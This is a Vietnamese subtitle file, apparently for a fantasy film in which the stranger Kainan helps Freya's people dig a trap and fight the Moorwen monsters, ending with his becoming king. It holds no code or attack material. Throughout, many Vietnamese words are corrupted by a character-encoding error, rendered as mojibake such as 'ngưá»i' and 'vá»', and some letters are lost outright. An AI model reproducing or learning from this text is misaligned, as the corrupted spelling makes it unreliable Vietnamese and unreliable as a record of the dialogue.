như anh đã nhầm vỠchuyện con gấu

01:00:00.640 --> 01:00:03.700
Và anh sẽ luôn phạm sai lầm
Nếu còn cái ý nghĩ đó.

01:00:07.046 --> 01:00:08.741
Thôi đi

01:00:09.148 --> 01:00:10.410
Ngươi không phải ngưá»i cá»§a chúng tôi

01:00:10.550 --> 01:00:12.450
Chúng tôi sẽ giải quyết chuyện này

01:00:12.685 --> 01:00:16.246
Tuy nhiên ta vẫn là vua ở đây .

01:00:17.256 --> 01:00:19.986
Và ta thấy kẻ lạ mặt nói đúng .

01:00:24.864 --> 01:00:26.525
chúng ta sẽ tạo một cái hố .

01:00:33.973 --> 01:00:35.668
Nên ,

01:00:37.043 --> 01:00:38.670
Chúng ta bắt đầu đào ở đâu ?

01:00:39.679 --> 01:00:41.078
ở đây ...

01:00:45.284 --> 01:00:48.412
và kết thúc ở đây ?

01:00:57.196 --> 01:00:58.925
Các ngươi còn chỠgì ?

01:00:59.599 --> 01:01:00.759
đào đi !

01:01:18.684 --> 01:01:21.050
Thợ rèn , hỠđang đốt gì vậy ?

01:01:22.455 --> 01:01:23.683
Gá»—

01:01:23.856 --> 01:01:26.256
Mấy cái đèn kia cháy bằng gì ?

01:01:26.392 --> 01:01:27.859
dầu cá voi

01:01:28.261 --> 01:01:29.489
Tôi cần nó

01:01:30.062 --> 01:01:30.687
Bao nhiêu ?

01:01:30.830 --> 01:01:32.127
Tất cả .

01:01:55.655 --> 01:01:56.849
Công việc dến đâu rồi ?

01:01:59.258 --> 01:02:00.987
đủ sâu với anh chưa ?

01:02:01.227 --> 01:02:02.057
Chưa

01:02:02.195 --> 01:02:03.526
1m 2 nữa

01:02:04.030 --> 01:02:05.361
Khi các anh làm xong ....

01:02:05.498 --> 01:02:08.228
Tôi cần má»™t hàng cá»c ở 2 bên

01:02:08.434 --> 01:02:09.492
2 hàng cá»c ah?
uh

01:02:10.136 --> 01:02:12.366
Anh cần cá»c để làm gì ?

01:02:12.605 --> 01:02:13.902
cắm

01:02:45.905 --> 01:02:47.065
xong rồi đấy?

01:02:47.206 --> 01:02:48.264
Chưa đâu

01:02:48.407 --> 01:02:50.841
Chưa ah ? còn gì nữa ?

01:02:52.612 --> 01:02:53.704
khiên ?

01:02:53.846 --> 01:02:55.143
khiên

01:03:53.139 --> 01:03:55.607
Khi má»i chuyện kết thúc

01:03:57.143 --> 01:03:58.974
đây sẽ là nơi yên bình với anh

01:04:00.680 --> 01:04:01.977
hãy suy nghĩ vỠnó

01:04:56.369 --> 01:04:57.597
anh dói không ?

01:05:17.023 --> 01:05:18.354
cô không ăn ah ?

01:05:20.526 --> 01:05:21.925
Tôi sẽ ăn khi nào anh ăn xong

01:05:22.128 --> 01:05:23.220
Äừng

01:05:23.529 --> 01:05:24.757
Cô ngồi đi

01:05:28.901 --> 01:05:30.163
Cám ơn anh

01:05:42.648 --> 01:05:44.513
tôi thấy anh nói chuyện với cha tôi hôm nay

01:05:48.454 --> 01:05:49.716
Ông ấy nói gì ?

01:05:52.124 --> 01:05:53.489
Ông đỠnghị tôi ở lại

01:05:57.029 --> 01:05:58.053
Còn anh nói gì ?

01:06:03.069 --> 01:06:04.058
Freya...

01:06:11.644 --> 01:06:13.771
Cô không biết tôi là ai

01:06:15.881 --> 01:06:17.007
Tôi biết đủ rồi

01:06:17.383 --> 01:06:18.748
không đủ đâu

01:06:24.056 --> 01:06:25.455
vậy , anh kể đi

01:06:32.231 --> 01:06:33.698
Kainan?

01:06:37.736 --> 01:06:39.931
Bộ tộc của tôi không khác của cô là mấy

01:06:42.374 --> 01:06:44.836
cũng đi tìm một nơi để định cư .

01:06:44.977 --> 01:06:47.172
Rồi khi chúng tôi tìm thấy một "hòn đảo" .

01:06:49.115 --> 01:06:50.139
Chúng tôi chiếm nó ...

01:07:01.427 --> 01:07:05.523
Không quan tâm nó thuộc vỠmột loài khác ...

01:07:07.867 --> 01:07:11.394
Loài Moorwens. hàng triệu con

01:07:13.405 --> 01:07:14.565
Nhưng đó là nơi chúng tôi muốn

01:07:16.575 --> 01:07:19.476
Chúng tôi nói vá»›i ngưá»i dân là không có gì đâu ...

01:07:19.612 --> 01:07:23.139
Chúng chỉ là động vật , vài con dã thú .

01:07:30.856 --> 01:07:34.087
Nên chúng tôi dùng "lá»­a" giết hết bá»n chúng

01:07:52.845 --> 01:07:55.313
vài con trốn thoát thì chúng tôi săn đuổi chúng

01:08:42.895 --> 01:08:45.056
Äó là mệnh lệnh từ vua cá»§a anh

01:08:45.397 --> 01:08:46.625
Anh không có sá»± lá»±a chá»n

01:08:46.765 --> 01:08:48.494
Tôi luôn có sá»± lá»±a chá»n

01:08:53.606 --> 01:08:57.269
Vùng đất của loài Moorwens giỠlà của chúng tôi .

01:09:10.689 --> 01:09:14.386
HỠtrả cho tôi một mảnh đất để gia đình tôi sống

01:09:15.361 --> 01:09:17.761
Tôi đã nghĩ mình sẽ quên được những việc đã làm

01:09:18.897 --> 01:09:21.092
Nhưng có vài thứ không thể dấu kín được

01:09:22.935 --> 01:09:24.835
Này , con chơi gì đó ?

01:09:24.970 --> 01:09:27.370
Cái cây này , nó cắn con ?

01:09:27.506 --> 01:09:29.303
Nó cắn con

01:09:29.775 --> 01:09:33.903
Äể cha xem nó làm thế nào nhé ?

01:09:57.603 --> 01:09:58.763
Kainan.

01:10:00.306 --> 01:10:01.568
Tiếng súng đã dứt

01:10:01.774 --> 01:10:03.605
dã thú đã bị tiêu diệt

01:10:04.343 --> 01:10:05.935
Em an toàn rồi .

01:10:12.584 --> 01:10:13.243
Anh yêu em

01:10:13.385 --> 01:10:14.852
Em cũng yêu anh

01:10:46.485 --> 01:10:49.716
3 tuần sau tôi vỠvà thấy một con Moorwens vẫn còn sống

01:10:50.956 --> 01:10:54.392
Nó đã đến chá»— cá»§a chúng tôi và giết má»i ngưá»i

01:10:58.797 --> 01:11:00.094
tất cả là ý của chúa

01:11:00.232 --> 01:11:00.994
đó là định mệnh

01:11:01.133 --> 01:11:02.657
chẳng có định mệnh nào cả

01:11:03.669 --> 01:11:05.466
Không phải ý của chúa

01:11:09.608 --> 01:11:10.870
là do tôi

01:11:13.645 --> 01:11:14.942
Tôi đã hại bá»n há»

01:11:18.550 --> 01:11:19.847
Tôi đã hại chết bá»n há»

01:11:35.367 --> 01:11:37.130
Äây là má»™t thanh trưá»ng kiếm

01:11:38.203 --> 01:11:40.194
Nó đã qua tay nhiá»u thế hệ

01:11:41.573 --> 01:11:42.801
cha đưa nó cho tôi ...

01:11:42.941 --> 01:11:44.636
Ông nói với tôi rằng

01:11:44.843 --> 01:11:46.902
Tôi sẽ trao nó cho má»™t ngưá»i đàn ông

01:11:47.780 --> 01:11:49.111
Má»™t ngưá»i tốt

01:12:02.728 --> 01:12:06.459
Nếu anh tin anh tự quyết định số phận mình

01:12:08.100 --> 01:12:10.933
thì cuá»™c Ä‘á»i anh chưa kết thúc đâu .

01:12:44.069 --> 01:12:45.263
Lấy thêm cung đi !

01:12:58.250 --> 01:12:59.717
Chúa phù há»™ các ngưá»i

01:13:10.095 --> 01:13:11.790
Boromir, đóng cổng lại

01:13:25.043 --> 01:13:26.476
Mở cổng ra

01:13:42.761 --> 01:13:44.058
Anh chắc nó sẽ thành công chứ ?

01:13:50.002 --> 01:13:51.230
Tôi nghĩ vậy

01:14:57.002 --> 01:14:58.162
Cầm lấy

01:15:20.158 --> 01:15:21.284
Chúa làm lành...

01:15:35.874 --> 01:15:37.671
ChỠmệnh lệnh của ta !

01:16:03.435 --> 01:16:05.130
Tên cha đạo đó làm gì vậy ?

01:16:32.497 --> 01:16:35.330
Ta đếm đến 3, Lucifer,

01:16:35.467 --> 01:16:37.162
hãy rá»i khá»i vùng này !

01:17:03.161 --> 01:17:04.458
Sắn sàng !

01:17:21.113 --> 01:17:22.011
Wulfric!

01:17:23.849 --> 01:17:25.043
Giữ chắc cung tên !

01:17:26.985 --> 01:17:27.417
Bắn đi !

01:17:27.552 --> 01:17:28.211
Nắm lấy tay tôi

01:17:28.353 --> 01:17:28.910
Shoot!

01:17:29.054 --> 01:17:31.454
chuẩn bị !
nhanh lên nào  !

01:17:35.060 --> 01:17:36.220
Bắn !

01:17:48.240 --> 01:17:50.265
ôi chúa ơi !

01:18:23.608 --> 01:18:24.575
Freya?

01:18:28.380 --> 01:18:29.312
Freya!

01:18:30.682 --> 01:18:31.808
Freya!

01:19:37.749 --> 01:19:39.148
Moorwen!

01:20:08.146 --> 01:20:09.113
Kainan

01:20:10.015 --> 01:20:11.141
Còn một con khác !

01:21:28.193 --> 01:21:29.353
Kainan!

01:21:31.596 --> 01:21:32.790
Má»i ngưá»i Ä‘ang bá» Ä‘i .

01:21:38.770 --> 01:21:42.365
Eric,chỗ này không an toàn nữa

01:21:42.941 --> 01:21:44.909
Má»i ngưá»i Ä‘ang đến bến cảng .

01:21:45.643 --> 01:21:47.201
hãy Ä‘i theo há».

01:21:47.545 --> 01:21:49.536
Nhưng em muốn ở đây với anh

01:21:50.782 --> 01:21:52.443
Em sẽ sớm vỠlại đây

01:21:52.650 --> 01:21:54.015
má»i ngưá»i cÅ©ng vậy

01:21:54.352 --> 01:21:55.717
Anh hứa chứ ?

01:22:03.828 --> 01:22:05.022
Anh hứa

01:22:42.434 --> 01:22:45.067
Hành lý của anh , muốn nó quay vỠkhông ?

01:22:45.303 --> 01:22:48.466
Không , giỠnó là của thằng bé

01:22:50.975 --> 01:22:52.101
anh định làm gì ?

01:22:53.078 --> 01:22:54.306
GiỠanh làm vua rồi này

01:22:56.548 --> 01:22:57.913
Vua của cái gì ? cái đó hả ?

01:22:59.184 --> 01:23:02.210
và này ...và bá»n há»..

01:23:04.255 --> 01:23:06.052
Má»i Ä‘iá»u ngưá»i Herot nói ngày mai ....

01:23:06.624 --> 01:23:08.649
Là câu chuyện anh sẽ làm ngày hôm nay

01:23:11.296 --> 01:23:12.820
hãy đi giết con quái đó ....

01:23:15.967 --> 01:23:17.264
...Cùng nhau

01:23:42.127 --> 01:23:43.321
Anh mất trí rồi !

01:23:43.461 --> 01:23:45.429
Chúng tôi không xuống đó đâu

01:23:45.563 --> 01:23:47.121
Nó dến từ cái giếng này

01:23:47.265 --> 01:23:48.630
Nên chúng ta sẽ xuống

01:23:49.067 --> 01:23:51.092
Nhưng chúng ta không biết giết nó bằng cách nào .

01:23:51.236 --> 01:23:52.294
Chúng ta cần vũ khí tốt hơn

01:23:52.437 --> 01:23:55.463
Không .
Chúng ta cần kim loại

01:23:56.307 --> 01:23:58.207
Boromir,lò rèn sẵn sàng chưa

01:23:58.676 --> 01:24:02.271
Unferth, Olaf, Lấy má»™t con thuyá»n và sợi dây .

01:24:02.747 --> 01:24:03.805
đi thôi

01:24:04.883 --> 01:24:06.316
Tôi đi với

01:24:09.654 --> 01:24:10.916
không được đâu

01:24:12.090 --> 01:24:15.787
Nó giết cha tôi và phá hủy nhà của tôi

01:24:15.927 --> 01:24:17.417
Tôi sẽ đi với anh

01:24:25.336 --> 01:24:26.928
Thuyá»n cá»§a anh bị đắm chá»— này ?

01:24:27.372 --> 01:24:28.839
vâng

01:24:34.979 --> 01:24:36.276
Giữa hồ?

01:24:40.652 --> 01:24:41.550
đừng há»i

01:25:38.977 --> 01:25:39.944
Kainan?

01:26:10.775 --> 01:26:11.935
Freya?

01:26:12.844 --> 01:26:14.277
Freya?

01:26:20.752 --> 01:26:21.844
Freya đâu ?

01:26:22.553 --> 01:26:24.282
Có kim loại rồi rèn kiếm đi !

01:26:28.693 --> 01:26:29.751
Chết tiệt

01:26:40.238 --> 01:26:41.762
Cái này làm từ gì vậy ?

01:26:57.588 --> 01:26:59.055
Kiếm của vua lại tái xuất

01:27:29.487 --> 01:27:32.115
anh thật ...
Tôi biết ... ngu ngốc

01:29:01.078 --> 01:29:02.067
đi thôi

01:31:31.896 --> 01:31:33.193
Nó từ đâu đến vậy ?

01:31:37.368 --> 01:31:38.767
Dưới chân chúng ta

01:32:05.129 --> 01:32:06.187
Chúa ơi

01:32:07.231 --> 01:32:08.528
Tôi bị kéo xuống

01:32:26.083 --> 01:32:27.209
Äi tiếp thôi

01:32:37.294 --> 01:32:38.693
Chẳng có gì dưới đó nữa

01:32:48.005 --> 01:32:49.905
Unferth!
Wulfric!

01:32:55.179 --> 01:32:56.476
Có nhìn thấy gì không ?

01:32:58.049 --> 01:32:58.947
Äằng này !

01:34:26.804 --> 01:34:27.793
Boromir!

01:34:53.597 --> 01:34:55.758
Chúng ta sẽ lại uống với nhau chứ , Kainan.

01:34:58.569 --> 01:34:59.831
Rượu mật ong cá»§a ngưá»i Herot.

01:35:02.640 --> 01:35:04.039
ngon nhất thế giới

01:35:19.356 --> 01:35:21.290
Không

01:35:23.594 --> 01:35:25.118
Kainan!

01:35:26.030 --> 01:35:28.590
Freya! Freya...!

01:35:29.667 --> 01:35:32.033
Kainan!

01:35:36.774 --> 01:35:37.934
Hướng kia !

01:35:38.909 --> 01:35:41.309
Freya!

01:35:42.880 --> 01:35:43.938
Tôi ở dây

01:36:27.024 --> 01:36:29.652
Freya, Freya.

01:36:38.936 --> 01:36:40.028
Freya!

01:36:47.978 --> 01:36:49.673
Freya.chui qua đi !

01:36:50.781 --> 01:36:51.338
chui qua đi !

01:36:51.482 --> 01:36:52.642
chật quá

01:36:53.684 --> 01:36:55.311
Cầm lấy

01:37:14.705 --> 01:37:18.300
Freya, bình tĩnh lại đi

01:37:24.248 --> 01:37:26.113
Chúa ơi

01:37:50.741 --> 01:37:51.708
chạy thôi

01:38:24.408 --> 01:38:25.534
đằng này

01:38:40.090 --> 01:38:41.455
kéo cô ấy lên đi !

01:38:48.432 --> 01:38:49.524
Cố lên

01:39:00.310 --> 01:39:01.402
Quăng tôi đi

01:39:26.703 --> 01:39:27.727
Wulfric!

01:43:23.774 --> 01:43:25.036
Nó chết chưa ?

01:43:27.744 --> 01:43:28.802
Chết rồi

01:43:39.690 --> 01:43:42.989
Tôi đã chỠngày này lâu lắm rồi

01:43:47.631 --> 01:43:49.656
Dù chỉ đeo nó trong một ngày

01:43:54.604 --> 01:43:56.970
Tôi hy vá»ng anh sẽ Ä‘eo nó lâu hÆ¡n tôi

01:44:00.243 --> 01:44:01.835
Chúng ta có thể trở thành bạn

01:44:02.579 --> 01:44:04.240
Chúng ta đã là bạn rồi

01:44:49.393 --> 01:44:51.258
Eric.

01:44:51.528 --> 01:44:52.517
Trên này

01:44:53.263 --> 01:44:54.730
Trên này

01:44:55.899 --> 01:44:56.866
Trên này

01:44:57.000 --> 01:44:58.467
Trên này nè !

01:45:14.751 --> 01:45:16.116
Em chỠhỠđến nhé .

01:45:17.654 --> 01:45:19.212
Anh phải đi làm một việc

01:45:21.191 --> 01:45:22.852
Anh sẽ không trở lại, phải không ?

01:49:28.872 --> 01:49:31.432
Vào năm có "4 vị vua"

01:49:31.808 --> 01:49:35.574
cha tôi Rothgar và Wulfric đã vỠcõi vĩnh hằng

01:49:36.012 --> 01:49:38.810
HỠlà những anh hùng chống lại con quái  Moorwens.

01:49:54.264 --> 01:49:59.031
và Kainan
má»™t ngưá»i lạ trong số chúng tôi

01:49:59.569 --> 01:50:01.196
lại trở thành vua .

01:50:03.740 --> 01:50:06.868
anh ấy đã bị tước mất vợ và con trai .

01:50:07.010 --> 01:50:09.376
cũng như anh ,
hỠtrở thành là một phần của bộ lạc .

01:50:44.981 --> 01:50:47.211
Tôi là ngưá»i duy nhất  biết bí mật cá»§a anh

01:50:48.952 --> 01:50:51.318
chúa đã gửi Kainan đến cứu chúng tôi

01:50:54.124 --> 01:50:56.649
Và khi chúa yêu cầu anh ấy quay vỠ...

01:50:58.728 --> 01:51:02.323
...anh đã chá»n ở lại vá»›i chúng tôi .

01:51:02.324 --> 01:51:22.324
Dịch sub bởi HoangLonghs
subteam gamevn

ZeroDay Forums Mini